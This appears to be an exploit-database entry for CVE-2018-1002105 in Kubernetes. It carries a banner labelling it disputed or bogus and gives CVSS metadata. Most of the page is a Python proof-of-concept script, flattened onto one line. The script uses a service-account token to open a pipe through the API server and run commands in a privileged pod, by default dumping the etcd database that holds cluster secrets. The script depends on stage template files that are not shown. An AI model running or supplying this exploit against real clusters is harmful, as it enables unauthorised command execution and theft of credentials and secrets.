WARNING! Fake news / Disputed / BOGUS

Kubernetes (Authenticated) Arbitrary Requests

2018.12.26
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CWE: CWE-388


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python3 import argparse from ssl import wrap_socket from socket import create_connection from secrets import base64, token_bytes def request_stage_1(namespace, pod, method, target, token): stage_1 = "" with open('stage_1', 'r') as stage_1_fd: stage_1 = stage_1_fd.read() return stage_1.format(namespace, pod, method, target, token).encode('utf-8') def request_stage_2(target, namespace, pod, container, command): stage_2 = "" command = f"command={'&command='.join(command.split(' '))}" with open('stage_2', 'r') as stage_2_fd: stage_2 = stage_2_fd.read() key = base64.b64encode(token_bytes(20)).decode('utf-8') return stage_2.format(namespace, pod, container, command, target, key).encode('utf-8') def run_exploit(target, stage_1, stage_2, method, filename, ppod, container): host, port = target.split(':') with create_connection((host, port)) as sock: with wrap_socket(sock) as ssock: print(f"[*] Building pipe using {method}...") ssock.send(stage_1) if b'400 Bad Request' in ssock.recv(4096): print('[+] Pipe opened :D') else: print('[-] Not sure if this went well...') print(f"[*] Attempting code exec on {ppod}/{container}") ssock.send(stage_2) if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096): print('[-] Exploit failed :(') return False data_incoming = True data = [] while data_incoming: data_in = ssock.recv(4096) data.append(data_in) if not data_in: data_incoming = False if filename: print(f"[*] Writing output to {filename} ....") with open(filename, 'wb+') as fd: for msg in data: fd.write(msg) print('[+] Done!') else: print(''.join(msg.decode('unicode-escape') for msg in data)) def main(): parser = argparse.ArgumentParser(description='PoC for CVE-2018-1002105.') required = parser.add_argument_group('required arguments') optional = parser.add_argument_group('optional arguments') required.add_argument('--target', '-t', dest='target', type=str, help='API server target:port', required=True) required.add_argument('--jwt', '-j', dest='token', type=str, help='JWT token for service account', required=True) required.add_argument('--namespace', '-n', dest='namespace', type=str, help='Namespace with method access', default='default') required.add_argument('--pod', '-p', dest='pod', type=str, required=True, help='Pod with method access') required.add_argument('--method', '-m', dest='method', choices=['exec', 'portforward', 'attach'], required=True) optional.add_argument('--privileged-namespace', '-s', dest='pnamespace', help='Target namespace', default='kube-system') optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str, help='Target privileged pod', default='etcd-kubernetes') optional.add_argument('--container', '-c', dest='container', type=str, help='Target container', default='etcd') optional.add_argument('--command', '-x', dest='command', type=str, help='Command to execute', default='/bin/cat /var/lib/etcd/member/snap/db') optional.add_argument('--filename', '-f', dest='filename', type=str, help='File to save output to', default=False) args = parser.parse_args() if args.target.find(':') == -1: print(f"[-] invalid target {args.target}") return False stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target, args.token) stage2 = request_stage_2(args.target, args.pnamespace, args.ppod, args.container, args.command) run_exploit(args.target, stage1, stage2, args.method, args.filename, args.ppod, args.container) if __name__ == '__main__': main()


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